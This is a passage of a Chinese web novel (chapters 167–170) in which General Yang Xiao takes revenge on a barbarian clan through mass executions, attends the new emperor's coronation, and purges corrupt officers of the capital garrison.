杨笑看向那人之时那人也正好望向杨笑。 四目相对,杨笑立时怒发冲冠,却是不露声色。 “大王”杨关拿手一指番王身后之人问道:“这是何人?” 番王回身看了一眼:“呃……这是本王的侍卫统领……怎么……杨将军认识他?” 杨笑冷笑道:“何止认识,简直是印象深刻啊。” 杨笑接着向那人问道:“你可到过大周开阳府山阴县?” 那人不语,面有思索之意。 杨笑接着又问道:“十年前可是到过三青镇?” 那人回道:“似乎有些印象。小人多年前确实在贵国开阳府相邻之地有过一段戍边岁月。将军是在那边见过小人吗?没想到将军这么多年还能记得小人……。” “呵呵……记得,当然记得。父母之仇,杨笑岂敢忘记。” 那人恍然惊道:“你是那大夫的儿子?” 番王听到他们的对话后还有一点没反应过来,但他下意识的往后退了两步。 那人心知今日在劫难逃,立即拔刀伸手向番王抓去,想要劫持番王好为自己挣取一二,哪知手指尖还未碰到番王的衣领就被一张大手掐住脖颈按在墙上。 那人立时觉得手脚瘫软,不听使唤,哐当一声,手里的刀也掉在了地上。 大殿内众人全都大惊色失色,一切都变化的太快,众人都有一点没反应不过来,只有特玛真镶暗暗松了口气。 “原来不是冲我来的,看来一切还不是最坏的结果。” 特玛真镶心道。 那甲士像一只鸭子一样被杨笑掐着脖子按在墙上动弹不得。 “你是不是没有想到过今天?” 杨笑怒目圆睁。 这时那番王稍稍缓过一点神来,上前一步说道:“将军切息怒……。” 谁知话刚开了个头就被杨笑一眼给瞪了回来。 杨笑猛地转头望向那番王,眼中似要喷出火来。 息怒?你让我怎么息怒? 那番王神情一惊,立即口风一变,对着下面喝道:“来人,立即将巴振海全家抓过来!” 常言道识时务者为俊杰,这个态度转换的就很快,很自然。 喝毕,番王在心里暗暗地抹了把汗,心道:“我刚刚是昏了头吗,怎么还会想着为这个祸害求情?” …… 半月后,番族王城内。 刑场上巴振海已然不成人形,身后是全家老小百余口人。 番王带领一众首领们前来观刑。 刑场外人声嘈杂,里三层外三层的围满了人群。 没一会儿,一匹快马穿过围观的人群奔至刑场,骑马的亲卫从马背上解下一个包裹交于杨笑。 “据那军寨的老卒所说,老爷被掳到军寨后宁死也不肯给番兵们看病,没多久便受尽折磨而死。” 杨笑点点头,轻轻打开包裹,里面是一副骸骨。 记得小时候曾听母亲说过,父亲年轻时出门给人看病,摔折了手臂和小腿。那骸骨上所留的痕迹与当年母亲所说完全吻合。 骸骨下垫着一件残破不堪的灰布长袍,正是父亲当年被劫走之时所穿。 另有一个小油布包,里面包的是针灸用的银针,还有处理外伤用的一些针具与小刀等物品。那些小刀早已锈蚀残破,银针早已不复往日的光泽,针柄上缠的铜线也已生满了青绿色的铜锈。 杨笑由此三项事物确认正是父亲的尸骨无疑。 将骸骨包好,恭恭敬敬,小心依依地放在父母灵位前的贡桌上,杨笑退后两步俯身拜了三拜。 时至正午,有仆人来到番王身边将一个托盘举过头顶,番王抬手从里面捻起三柱香,仆人起身恭敬退去。 番王抬眼看了看天色,走到杨笑身边,道:“将军,时辰到了。” 杨笑接过番王递过来的香,在烛火上引燃,轻轻晃灭香头上的小火苗,袅袅的青烟便从灰红色的香头上飘起。 在父母的灵位前焚香叩头后,杨笑起身走上刑台,一把薅住巴振海的头发,手起刀落便将一颗大好头割了下来。 把仇人的头颅放到父母的灵位前,杨笑高声道:“爹,娘,孩儿为你们抱仇了!您二老在天之灵安息吧。” 说罢俯地久久不起。 身后的刑场上,百余颗头颅纷纷落地。 至此杨笑大仇得报! 良久,番王小心翼翼走到杨笑跟前轻唤了两声:“将军……将军……?” 杨笑直起身。 番王陪着笑脸道:“恭喜将军大仇得报,本王已备下薄酒,请将军到宫中一聚。” “不急,杨某私仇已报,该算一算我西梁三十万百姓的仇了。” 番王闻言结结巴巴的说道:“呃……两国交兵……这……有所死伤,也是……也是再所难免的嘛,将军又何必如此呢?我雪番族愿意多多赔偿,两国从此结成永好,难道不是将军所愿吗?” 众首领也是纷纷连声附和。 尤其是特玛真镶,他都要以为这件事情就这样过去了,哪知道杨笑又提了起来,特玛真镶的心里“咯噔”一下,立刻有了一种不祥的预感。 杨笑听到众人的话后冷笑几声:“纵观天下,千百年来屠城的事情确实不算稀罕,但……那都是过去,杨某没有遇到,此事还则罢了,既然让杨某碰上了,那就必须要有个交待!” 番王只好又说道:“呃……我族愿意将从西梁所得财物尽数返还,另外再多做赔偿还不行吗?” “赔偿?那本就是我西梁百姓的财物,是我西梁理应所得。” “……我族愿将与西梁望山府相邻之地割于西梁,还望将军息怒。” “望山府相邻之地?” “……对。” “哼!我大周若是想要你这鸡肋之地,别说是与望山府相邻之地,就是你这王城,杨笑现在也是唾手可得。” 杨笑冷哼一声,说着就一把薅住了番王的衣领。 这个动作的含意不言而喻,那就是你这小小的番王还有在场之人的脑袋,我杨笑想要立刻就能摘下来,一个也别想跑。 番王被杨笑这一动作给下的冷汗直流,众首领也是惊呼出声,连忙救饶。 只见番王颤抖着抓住杨笑的手问道:“那……那将军待怎样才能满意?” 杨笑将那番王的衣领一提,把他提到眼前,盯着番王的眼睛一字一顿的说道:“我……要……让……特……玛……部……落……一……个……不……留!” 两人相对而立,杨笑的额头都要抵在番王的额头上了。 这雪番族承平日久,番王又不是什么有雄心大志的帝王,这些年来早被酒色掏空了身体,被财气腐蚀了心性,如此近距离面对杨笑那双充满杀气的眼睛,怎能不心生恐惧? 本来杨笑就以俯视的姿态盯着番王,结果现在杨笑每说一个字,番王的双腿就软上一分,等杨笑说完后,番王的双腿已是软到难以站立,要不是杨笑拎着他,恐怕已经瘫坐在地上了。 而下面的一众首领们在听到这句话的时候,全都下意识的移动脚步,一下子特玛真镶的身边空无一人。 那番王眨眨眼,咽了下口水,壮着胆子说道:“那可是好几十万的人口啊!?杨将军当真要如此?” “哦?那好,杨某倒也不是什么嗜杀之人,既然灭了整个特玛部落有难处,那么请问大王可知什么叫做株连九族?”杨笑说完把头一扭,对着下面的特玛真镶问道:“你说这个办法怎么样啊特玛族长?” 本来我杨某人是不认识你特玛真镶的,不过这时你如此的“鹤立鸡群”,我想不认识你都难了。 这还要感谢各位首领们的配合。 番王听完愣了愣神,随后咬牙点头道:“就依将军!” 而那特玛真镶在听到这句话后立时大吼道:“大王,你怎可负我!?我特玛部落对大王忠心耿耿,大王你不能这样!” 番王道:“那就请特玛族长再为我族尽这最后一份忠心。” “大王,我可都是……。” 不等特玛真镶说完,那番王也不知从哪里来的气力,立时喝斥道:“住口!来人,给我拿下!” 一声令下,很快就有几个武士把想要逃跑的特玛真镶按倒在地。 那特玛真镶还要叫喊,番王恐怕他又胡言乱语,便又命令道:“给我把他的嘴堵上!” 于是一块不知从哪儿来的破麻布被塞进了特玛真镶的嘴里,还用一根绳子绕过后脑勺勒住了嘴巴。 这一下特玛真镶就只能趴在地上哼哼了。 …… 能控制一个大型部落,可想而知特玛家族是一个多么大的家族,用了一个月的时间才把特玛真镶的“九族”,还有参于屠戮望山城主要人物的全家,男女老幼差不多有十七八万人带到了番族王城。 王城外的河谷中,几百口刀砍了几天几夜才把这十几万人砍完。刀刃都不知道砍卷了几回,汹涌的河水都要被尸体阻塞了。 人头砍了几天几夜,河边的法事也跟着做了几天几夜。 至此望山府三十万冤魂得以雪恨! 待几十个监斩官先后复命完毕,杨笑拉着番王的手走下看台,边走边说道:“大王高义,杨某全都看在眼中,我欲使两族两国从此归于和睦,永绝刀兵,不知大王意下如何啊?” 番王:“诶呀!将军有此大义实乃两族两国百姓万世之福啊!” “好,好,那就好!”杨笑从怀里掏出一张纸来“杨某这里有一个不太成熟的想法,请大王过目。” 番王于是双手接过那张纸来,小心打开看了看里面的内容。这不看不要紧,一看把番王看了个目瞪口呆:“这……这……这……。” 杨笑笑着问道:“不知大王意下如何啊?” 虽说杨笑面带笑容,可这份笑容和语气落在番王眼里和耳中无疑就是“你最好答应”。 没错,这是通知,不是商量。 …… 就在杨笑在雪番族快意恩仇之时,距离此地不知多远的一处山巅之上。三位仙风道骨之人停下脚步转身道:“此间事了,我等这便告辞了,庄道友不必相送。” 三人对面一名高大老者拱手笑道:“三位道友慢走。” 那三人的其中一人又说道:“希望庄道友和邬宗主能够言而有信。” 庄姓老者回道:“道友尽管放心。” “好,道友请留步。” “请。” 待三人身影化作流光消失在天边后,庄姓老者脸上的笑容也跟着逐渐消失,眼神也变的充满冰冷。 老者身边一名青年躬身问道:“长老,就这么让他们走了吗?” 老者叹口气,道:“不然呢?他们三家联袂而来,不这样还能怎么样?”老者说罢冷哼一声“早晚让他们付出代价。” 那青年又道:“长老说的没错,等宗主出关后,迟早让他们吃不了兜着走。” “那答应他们的事……?” 另一青年躬身问道。 “先按他们说的办,又不是什么大不了的事。”老者回道。 先前的青年:“哼,就先让那小子多蹦哒几天。” 另一青年坏笑道:“正好借他的手再给咱们送一点生魂血尸,这样一来倒不算是什么坏事了。” 三人说完哈哈大笑,转身消失在山巅。 欲知后事如何,且听下回分解。 第一百六十八回 功成名就 上一回说到杨笑带着八佰壮士,终于为望山府的三十万冤魂报仇雪恨。杨笑等人回到西梁境后迎接他们的是犒赏还是惩戒,这些先暂且按下不表,只说那三个月后大周的圣京城内,迎来了一场盛大的登基仪式。 当初的西梁王,如今的大周皇帝武昭,继承大统后正式的登基大典! 斋戒三日后,这天一大早武昭便沐浴更衣,之后率领百官前往前往太庙祭祖。 太庙乃是一朝一国之大庙,是皇帝祭奠祖先的家庙,占地广阔,其内古木参天,郁郁葱葱,象征着皇朝的千秋万代,繁荣昌盛。 整座太庙坐北朝南,以享殿,寝殿,祧殿为中轴依次展开。主殿面宽十一间,深四间,安放于三层白玉须弥座之上,内里陈放神座,香案,铜炉等物。寝殿宽九间,深四间,以石露台与享殿相连接,是供奉皇帝祖先牌位的地方,大殿正中摆放的便是太祖皇帝的灵位。祧殿门五间,殿九间,是存放祭祀用品的地方。 三座大殿均为重檐庑殿顶,沉香木为梁,金丝楠为柱,金砖铺地,重檐列脊,斗拱飞檐,描金贴银,雕梁画栋,上覆黄琉璃瓦,给人一种金碧辉煌,欲要腾空而起的感觉。 东配殿内供奉着皇室历代宗亲,西配殿内供奉着对皇朝有重要贡献的功臣。三座大殿,辅以东西配殿,整座建筑的氛围气势恢宏,庄严肃穆,处处遵循着“敬天法祖”的礼制。 为了迎接新帝登基祭祖,整个太庙内外早已扫洒干净,一应祭品、礼器、乐器等物也已备齐。 辰时,红日高升,有“龙乘时”之意,与帝王“真龙天子”的身份相呼应。随着礼部主祭官员的一声唱贺,祭祀仪式正式开始。 奏乐迎神,皇帝率领百官从神道进入太庙大殿,行三跪九叩大礼,接着是奠帛祭酒,以对祖先表达敬意。之后由礼部官员宣读祭文,陈述功绩,以祈求祖先庇佑。宣读完祭文皇帝再次敬酒,整个过程庄严肃穆。之后撤去祭品,送神,焚烧祝文及帛。随着礼部官员唱贺一声“礼成”,整个祭祀仪式才算结束。 整个流程严格遵循礼法,彰显皇权天授与对祖先的尊崇。 太庙祭祖的同时,已有礼部官员代表皇帝分别前往专门的场所向天地祷告,以向天地祈福,获得庇佑。 太庙祭祖罢,皇帝乘坐銮舆率领百官立即往皇宫赶去。好在两地相邻,距离并不远。 时至正午,皇帝的登基仪式正式开始。 大周皇朝近百年来天灾人祸频发,国势衰退,民生艰难,又刚刚经历了一场内战,说是风雨飘摇并不过分,此种境况之下还能击退强敌,驱除鞑虏,实为不易,实是万幸。 之所以选这个时辰举行登基大典,正是取正午阳气最盛,可镇邪避凶,以求国家安定,百姓安居之意。 此时,有钦天监主事官员于观象台上高唱:“吉时已到!” 有伺时的太监接着传唱:“吉时已到!” “吉时已到!” 一声声高唱一直向远处传开。 随着这一声声唱时声传开,从钟楼和鼓楼上有一声声低沉和洪亮的钟鼓声响起。 “当!当!当……!” “咚!咚!咚……!” 鼓声沉闷,钟声悠扬。 钟鼓声中,皇宫城楼上有礼部官员高唱道:“吉时已到,典礼开始!” 立时鼓乐齐鸣,琴笙交响,乐师们卯足了劲,将庄重典雅的宫庭乐章演奏起来,力争达到最好的效果。 礼乐响起,又一礼部官员从宫门内走出,在宫门一侧站定,高唱道:“恭迎陛下!” 皇帝武昭高坐龙辇之上,从御道缓缓行进皇宫正门。 高大的宫门威严肃穆,气势雄伟,像征着皇权的神圣。 御道两旁站满了文武官员,在京七品以上,京外五品以上官员将领尽皆到场。 文武官员的身后是一排排明盔亮甲,威武不凡的御林军。 再后面是负责典礼各项事务的管事,宫女太监和杂役们。 很快,龙辇行至奉天殿前。宫女们侍候皇帝走下龙辇,待皇帝站定后又为皇帝整理一下龙袍冠冕。 武昭抬头看向奉天殿。这大殿耸立千年,不知见证了多少风云变幻和权谋争斗。如今,皇权传到了他的手中,而皇朝百废待兴,百姓困顿艰难,这副担子……着实不轻。想到这里,武昭轻吐口气,胸中涌起无限的抱负。 胸怀江山黎民,目中神彩万千。武昭抬腿迈步,拾阶而上。 从始至终,众文武官员目送皇帝登临大殿,端坐龙椅。 这是百官仅有的,可以正大光明的,理所当然的,直视帝王的时刻。 “拜!” 一声拜字出口,从皇宫内到皇宫外百官折腰,倾倒了一片又一片,乃至整个圣京城,不分男女,无论老幼,不管富贵还是贫寒,全部都要面向皇城的方向参拜。 这就是皇权! (当然了,那些下不了床的,还有不会走路的就不要强求啦。) “吾皇万岁,万岁,万万岁!” 山呼万岁的声浪排山倒海般的响彻圣京城的每一个角落。 武昭轻抬双臂:“众卿平身。” “谢陛下。” 众官员参拜毕,礼部尚书走出,展开手中的诏书朗声道: “奉天承运皇帝,诏曰: 侄经以少冲之资,嗣守大业,秉心不孝,更改宪章,戕害诸王,放黜师保,崇信奸回,大兴土木,天变于上而不畏,地震于下而不惧,灾延承天而文其过,蝗飞蔽天而不修德,益乃委政奸邪,淫泆无度,祸机四发,将及于朕。 朕惟高宗皇帝嫡子,祖有明训,朝无正臣,内有奸恶,王得兴兵讨之。朕遵奉条章,举兵以清君侧之恶,盖出于不得已也。使朕兵不举,天下亦将有声罪而攻之者,经曾不反躬自责肆行旅拒,朕荷天地宗社之灵,战胜攻克,捣之于二山,纤之于宝珠,破之于太和,剪之于上宁,鏖之于玉嶂,转之于天南,六战已不国矣。更有强敌扣关,鞑虏犯境,幸得神明保佑,祖宗庇护,三军效命,大散关外驱逐鞑虏,勒石燕然。 朕于是驻师畿甸,索其奸回,庶希周公辅成王谊,而乃不究朕怀,阖官自缢,以自绝于宗社,天地所不庇,鬼神所不容。事不可已,朕乃整师入京,秋毫无犯。 诸王大臣谓朕太祖之嫡,应天顺人,天位不可以久虚,神器不可以无主,上章劝进,朕拒之再三,爰乃俯徇与情,已于六月十七日即皇帝位,大礼既成,所有合行庶政,并宜兼举。 钦此!” 宣毕,文武百官再次山呼万岁。 接着礼部尚书又展开另一份诏书朗声道:“奉天承运皇帝,诏曰: 粤稽古典,内治之隆,妫汭嫔虞,涂山翼夏。昔我皇考高宗皇帝龙飞启运,身致太平,亦惟我皇妣孝慈高皇后坤元合德,克相肇基,日月光华,照临下土,化成俗美,有关雎麟趾之风。咨尔徐氏,中山武宁王徐孝之女,为朕正妃,内助藩国,二十余年。朕躬行天讨,无内顾之忧,济朕艰难,同勤开国。今寰宇肃清,朕登大宝,允赖相成,宜正位号。今特遣使奉金册金宝,立尔为皇后。以奉神灵之统,母仪天下,表正六宫。尔尚远遵古道,谨守高皇后之训,夙夜儆戒,永保贞吉,耿光万年。 钦此!” 宣读毕,有司礼官员高声唱道:“恭迎皇后娘娘!” 宫门外,有凤仪銮驾缓缓而来。 只见那金顶金黄绣凤鸾舆上面百鸟朝凤,姿态优雅,栩栩如生,好似下一刻便要翻飞而起,啾啾而鸣。更有各式珍珠流苏,宝石美玉镶嵌其中,好一片珠光宝气。那鸾舆缓缓行来,前有一对对龙旌凤翣,雉羽宫扇,又有金锁提炉,焚着御用香,一双双美娇娥捧着冠袍带履。后面是两队威风凛凛的金甲武士仪仗,手持着各色旗帜,回避牌面,金瓜斧钺方天画戟,步伐整齐,彰显皇家威仪。 鸾舆上端坐着昔日的西梁王妃,如今的大周皇后。 皇后娘娘头戴凤冠,身着霞帔。凤冠上珠光璀璨似有光芒万丈,霞帔上宝气蒸腾如有彩霞千条。雍容华贵,神情威严,不失一国皇后之威仪;端庄秀丽,面貌慈祥,尽显母仪天下之姿容。 鸾舆所到之处百官俯首相迎,御道两旁虽挤满了大小官员,可除了那典乐之声外再无任何杂乱之音,甚至那鸾舆上挂着的宝石美玉碰撞出的好听的声音也能充耳可闻。 稍事皇后娘娘登临大殿,皇帝武昭起身相迎,扶着皇后的玉手同坐龙椅。 待皇帝皇后坐定,文武百官齐呼“皇后千岁”。 礼部尚书又取出一份圣旨宣布新皇登基,年号定为“建武”,又照惯例宣旨大赦天下。 众官员再次山呼万岁。 至此,登基大典才算结束。 新皇登基,那些在攘平内乱,驱除鞑虏时的有功之臣自然要各有封赏,这既是对众人的奖励,更是稳定朝堂,安定天下的重要手段。于是,待百官再次参拜后,便到了论功行赏的环节。只见有官员走出敞声道:“虎威将军杨笑上前听封!” 杨笑闻言出列,着武冠,穿墨袍,上面绣着金丝卷云纹,踩一双黑底花草纹的长靴,拱首参拜,听候封赏。 “制曰: 西梁虎威将军杨笑,忠勇无双,屡立奇功,得此忠臣良将,天下幸甚,大周幸甚,朕亦幸甚,封护国公,食邑万户,袭三世;封兵马大将军,授虎符印信,掌天下兵马;命圣京兵马司大都督,掌圣京卫戍;命禁军大统领,统管宫城内外禁军;赐赞拜不名、入朝不趋、剑履上殿;赐大将军府邸。 其姊杨落儿,为国进才,贤良淑德,持家有道,封一品诰命,赐号戚国夫人。 钦此!” 杨笑谢恩参拜后退回队列。 接下来皇帝又当场封赏任免了十几个大小文武官员。这些官员将领都是在战场上立过大功或是朝庭里十分重要的职位,所以才在登基大典上当场封赏,以示皇恩浩荡。 封赏了各路有功之臣后,便要接受各路藩属国国主的朝拜。 与朝臣们的俯首躬身参拜不同,各路大小藩属国的国主们在朝拜的时候行的是三跪九叩大礼,同时要向天朝上国皇帝进献国书贡礼。 进贡礼品无非就是金银财宝及境内特产,对一个皇朝来说这些没什么可稀奇的,倒是那国书里写的才是重中之重。 通常藩属国进献的国书里面首先要表明的当然是礼赞皇恩,忠心臣服,愿奉正朔,永为藩屏等语。也就是通常所说的称臣纳贡。之后是向皇帝陛下汇报本国的国情迟况,如国境安定,君主勤政,百姓安康等,还要写明人口几何,物产多少,税赋多少,国库结余等等。之后写的是本次朝贡礼品何物,伏乞陛下笑纳。最后是乞求庇护与恩赐。总之用词态度必须极度谦卑,格式严格遵循宗主国的礼制规范,体现“天朝上国”与“藩属外邦”的等级差异。 旧有藩邦遵循旧例便可,新归化的藩属或是刚被天朝上国敲打过的藩属那就更要格外小心了。国书里除了上面的内容外往往还要在某些方面进献的更多才行。 比如这一次,作为新归化藩属,雪番族的大王便亲自前来进献国书,而其国书里面有一条关于两族和睦,乞求和亲的内容更是前所未有:“雪番族王室乞求大周公主下嫁,雪番族上至王族下到大小各部落族长或世子,愿迎娶一名大周女子为正妻,其家族继承人必定从这位正妻所生子嗣中挑选”。 这一承诺真是太炸裂了,如此一来,雪番族中无论哪个家族世子,只要是想继承家族族长的,最好是能迎娶一位大周女子为妻,这样一来你就算是“父凭子贵,夫凭妻贵”,提前拿到了自己老爹的继承书了。 明眼人都看得出来,这样一来,数代之后的雪番族统治阶层便都是大周的血脉后代了。再有几代人之后,两族两国便可慢慢融为一体,不分彼此了。这样的深层绑定当真是前所未有。 之所以雪番族的国书里会有这么一条,当然是多亏了咱们的杨大将军。 众藩属国使臣纷纷瞠目结舌,用眼神表示:“玩这么狠的吗?” 而更震惊的末过于同样是新归属的南苑王了。 南苑王本来早就写好了国书,备好了贡品,本来以为信心满满,被雪番族这么一闹算是给彻底的比下去了。 “你玩这么狠,那本王老爹的那颗人头又算什么呢?。” 于是一咬牙,当场修改了国书。 俺也一样! (莫名的张飞既视感) 欲知后事如何,且听下回分解! 第一百六十九回 整顿军纪 上一回说到雪番族进献国书时来了一招狠活儿,逼的南苑王也跟临时更改了国书,其他的大小藩属国见状也不甘落后,于是在下一次朝贡时也纷纷照着雪番族的样子在国书里写上了相似的请求。 还有那皇帝武昭自从平定天下,举行完登基大典后,便废寝忘食般地一心扑在朝政上,定年号,修历法,只用数月时间便将混乱不堪的朝政整理通顺,条条款款清晰明了,更是一连颁布修改了十多部律典章程,为大周皇朝今后很长一段时间的发展奠定了一个坚实的基础。 有史官为此落笔:功比光武! 当然,这些都是后话,暂且按下不表。 ……却说那杨笑受了封赏后,一人身负三份大周朝至关重要的职位,内至皇宫内庭,外到边疆国境,可谓是天下兵马尽在掌握,一时间人中显贵,位极人臣,风头无两。 第二天杨笑走马上任,将三份官职处理公务的地点统一设在皇宫旁的圣京兵马司。 圣京兵马司,朱漆大门,高门楼,阔台阶,宽街硬路,门前一对大石狮子,里外看墙影壁,两队甲士大马金刀立于门前,怎一个威武气派可言。 这一天,圣京兵马司大门敞开,三处府衙里的大小主事官员齐聚于此,他们早就得到了通知,知道今天是新的顶头上司走马上任的日子。这等位高权重,皇帝眼里的大红人,众人岂敢怠慢,天不亮就把兵马司里里外外全都扫洒干净,收拾了一遍又一遍,就差把兵马司衙门拆了重盖了。 一大早杨笑便来到了兵马司衙门前。 杨笑收住马缰,翻身下马,早有门前侍卫赶上前来接过了马缰。兵马司大门外的台阶上下站满了大小主事官员,见杨笑到来纷纷上前,拱身参拜,齐呼:“参见大将军。” 杨笑轻声开口:“免了。” 众人领命直身:“谢大将军。” 众人起身后自动为杨笑让出一条道路来,杨笑迈步上前,带领众官员从正门进入兵马司衙门。 进得大殿,杨笑端坐正堂,众官员挨个上前觐见述职。 “末将兵马司副都统刘进见过大将军,这是兵马司人员帐目,请大将军过目。” “末将水军副统领韩先础见过大将军,这是圣京水军驻防图,请大将军过目。” “末将禁军副统领柴竞参见大将军,这是禁军花名册以及背调帐册,请大将军过目。” “卑职兵马司参事张旭开参见大将军……。” “……。” 等这些大小官员全都参拜完,杨笑面前的桌子上也堆满了各部官员们递上来的帐册名单还有各处城防图。杨笑也只是略看一眼便放在一旁,毕竟打了这么长时间的仗,从出两界山到进圣京城,再到过分天岭,北到燕然山,南至雪番族王城,可谓犁庭扫穴,所向披靡,杨笑对各处防务以及衙门职责早已了然于胸,眼前这些东西只不过是走个过场罢了。 待众官员述职后,杨笑目视众人,也不说话,只是一根手指轻轻地敲着桌案。堂内众人一个个正襟危坐,不敢发出一点声音,整个兵马司大堂除了那“嗒…嗒…嗒…”缓缓的敲击声外,几乎落针可闻。 气氛一时间压抑至极。 良久,杨笑轻声道:“兵马司副都统梁雄何在?” 听到上司询问,堂内立刻有一人站起身拱手应道:“末将在。” 杨笑看了一眼站起之人开口道:“陛下御驾亲征期间你竟敢克扣挪用前方粮草,你可有话要讲?” 堂内众官员闻言一惊,陛下御驾亲征的粮草都敢克扣,当真是胆大妄为。那梁雄闻言先是脸色一变,随即抱拳说道:“将军可有凭证?莫要听信了谗言。” “你要凭证是吧?”杨笑说着从怀里掏出一本小册子来,一把甩到了梁雄的脸上“你以为你干的那些事就天衣无缝了吗?” 那梁雄翻开小册子,越看脸色越是难看,看了没几页便瘫倒在地上,磕头求饶:“大将军饶命,小人只是动了一点点,小人再也不敢了,小人愿用全部家产赎罪,求大将军高抬贵手。” 杨笑厉声道:“一点点?一点点也是前方将士们的性命!来呀!拖出去,枭首示众,抄没家产,全家充军!” 立刻就有侍卫进入大堂,二话不说将那梁雄架住双臂拖了出去。 “大将军饶命,大将军饶命啊,末将知错了,再也不敢了,大将军……啊……!” 很快大门外便传来一声惨叫,求饶声也戛然而止。之后便有一名侍卫提着一颗滴着血的脑袋进入大堂前来复命。 看到那梁雄的脑袋,大堂里的人一个个的面色都不好看。 杨笑扫视一下众人,摆摆手,那侍卫转身而去,自去找绳索把那头颅高高的悬挂于兵马司的大门外。 “水军参事主薄罗云何在?” 闻言一个锦袍中年男子战战兢兢地站了出来。 “小……小人罗云……呃……呃……见……见过大将军。” 那中年男子面皮白晰,身材瘦长,一副读书人的打扮。许是体魄孱弱,或许是因为心虚,也可能是被那颗血淋淋的脑袋给吓着了,说起话来结结巴巴的。 杨笑看了看那罗云:“你一个小小的参事主薄竟敢里通外国?!” 罗云听到杨笑的话一下子就吓的瘫坐在地上:“将军……那……那都是十多年前的前朝往事了……。” 杨笑听那罗云狡辩,便问:“十多年前?” “嗯。”罗云点头。 “前朝往事?” “呃……呃对,小人就……就干了两次,就再也没敢干过了。”那罗云哆哆嗦嗦地伸出两根手指说道。 “前朝往事就不是我大周了吗?” 罗云闻言脸吓的更白了。 杨笑见状便不再看他:“来呀,吊到白虎门外,以儆效尤,抄没家产,全家发配边疆!” 立刻又有两名侍卫进入大堂将那罗云拖了出去。一道湿漉漉的水渍从大堂的地面上一直延伸到大堂外,连接到其双腿之间。 “禁军副统领张文何在?” “……。” 扑通一声,一个大髯壮汉跪倒在地上,正是禁军副统领之一的张文。杨笑不等其开口说话便指着他的鼻子厉声道:“你竟然拿着禁军将士们的饷银去养婊子!” “来呀!给我扒光了,拖出去杖毙当街!” 侍卫们进入大堂把那张文当场扒了个溜光,然后将人架了出去。 “水军副统领汪勇何在?” 一个两颧高起的汉子当堂拜倒直言道:“末将知罪,甘愿受罚。” 杨笑点点头:“嗯。好,看在你知罪认罚的态度上,本将军不为难你的家人,把他们遣送原籍便算事了,而你嘛……本将军给你体面,留你个全尸,带上你的佩剑回家自裁去吧。” 杨笑说罢轻轻一摆手不再看他。 那汪勇拜谢一声转身离去。 兵马司大堂内又陷入了一片寂静当中。众官员大都面色难看,噤若寒蝉。 良久,杨笑站起身来,在大堂内缓缓踱步,从众官员的面前一一而过。走到哪个官员的面前便将目光看向哪个官员,被他看着的官员无不目光闪躲,惧怕不已。 兵马司大堂里的气氛压抑到了极致,仿佛空气都要凝固住了。 杨笑转了一圈后又回到了兵马司正堂的座位上,目光扫过堂下众人,缓缓开口道:“本将军向来赏罚分明,在场的诸位同僚,你们以前都做过什么,有哪些人的屁股下面不干不净,又有哪些人的手上沾过血,本将军可以说是一清二楚。当然了,本将军也不是那种半点情面不讲的人。现在,本将军就给你们一个机会,只要是当场交待清楚,把脏款尽数上缴的,本将军一律从轻发落甚至可以既往不咎。” 杨笑说到这里停顿了一下,再次将目光扫过众人:“怎么样,有没有人要主动交待的?” 大堂内落针可闻,寂静的可怕。 终于,有人抵挡不住这样的压力,站出来主动将过往贪赃枉法的事情交待了出来:“卑职兵马司参事主薄曹文愿向将军坦白。卑职自佳和六年入仕以来……。”那曹文将过往种种尽数合盘托出,说到最后俯地而拜道:“先帝在位时龙体多恙,故太子把持朝政,以致朝堂多有浊气,后至废帝时其势更甚,卑职也是常常身不由己才犯下这等罪过,万望大将军明察。” 杨笑转头向一旁负责文书的胥吏问道:“都记下来了吗?” 那刀笔小吏将手中毛笔搁下,拿起面前的供词轻轻吹干墨迹后,将那份供词呈到杨笑的面前。杨笑扫过一眼后点头道:“嗯,命其画押。” 那小吏又将供词拿给曹文,同时有人取来朱砂砚台。曹文提笔在供词上写下了自己的名字,又按了朱红手印。 俗话说:新官上任三把火。到底杨笑这番整治军纪效果如何?首先站出来主动承认过错的曹文又是什么样的下场?得了军中大权的杨笑又将有哪些作为?欲知后事如何,且听下回分解! 第一百七十回 兵书传世 上一回说道曹文第一个主动站出来承认了过错并在供词上签了字,画了押。 小吏把画过押的供词拿给杨笑过目。 杨笑看过后点头“嗯”了一声。 摁完手印的曹文趴在地上颓废落魄,悔不当初,似是被抽干了力气。 这时只听杨笑说道:“曹文。” “卑职在。” 曹文轻声应道。 “念你所犯罪责并不重,革去职务,缴没脏款后便带着全家老小回乡种田去吧。” 曹文闻言,不论是心里还是身体上顿时感觉像是卸下了什么沉重负担似的,长长地吐出一口气后回了一声:“是。” “回乡以后要好生教导家中后辈,来年若有功名还可为国效力。” 曹文听了杨笑的话大喜过望,一改颓废不已的样子,磕头谢道:“多谢大将军,多谢大将军……。” 要知道,按照大周皇朝的律法,通常被判了罪行的官员,其子孙后人几代之内不要说考取功名,就连读书都是一种奢望,这让曹文怎能不感恩戴德。 杨笑摆摆手:“好了,去吧。” 曹文拜谢而出,由几名侍卫和胥吏押送回家去了。 堂内众人见那曹文所犯罪责都能有这样宽大的处理,立刻便又有两人站了出来主动供述了自己的罪责,以求宽大。 少倾,杨笑将堂内认罪官员处理完毕后,环视一周道:“还有没有主动认罪认罚的?本将军一律宽大处理。” 众人低头不语。 杨笑见状点头说了声好:“既然如此,本将军也不再多言,望尔等以后恪尽职守,如有不轨必当重责。” “今日所查案件本将军必将追查到底,绝不让那些心存侥幸的宵小之辈逍遥法外。” “至于空出来的职位,三日后本将军再另行安排。你们下去吧。” 众官员尊命离去。 一场浩劫过后皇朝百废待兴,军中的事务也茫茫多,杨笑又埋头处理了好半天的军务,直到午饭过后有侍卫来报,说是诸位将军已在偏殿等候,这才从如山的案牍中回过神来,连忙吩咐有请。 不一会儿,李伯通,马致远,呼延灼……等等先后追随杨笑的十几名将领鱼贯而入。众将领分次而坐后马致远率先开口问道:“不知将军唤我等前来有何吩咐?” “不急不急。” 很快有下人端来茶水点心,杨笑说道:“诸位将军请先尝一尝茶点,咱们边喝茶边聊。” 众人谢礼。 杨笑也算是跟着吃了今天的第一口午饭。 待尝过了茶点,武俊山这个急性子首先忍不住了:“将军何必如此客气,整这一套斯文事倒显得有点……生分了,有事儿您尽管吩咐,老武我但凡说个不字我就是这个。” 武俊山说着比了个乌龟爬爬的手势,引来众人一阵笑声。 杨笑轻轻抬手示意一下:“武将军的话杨某深信不疑。既然武将军问了,那我也不卖关子了。叫诸位来的意思呢……是想跟诸位将军说一个事,那就是我想修一本兵书。” 言语间似有几分羞愧赧颜之感。 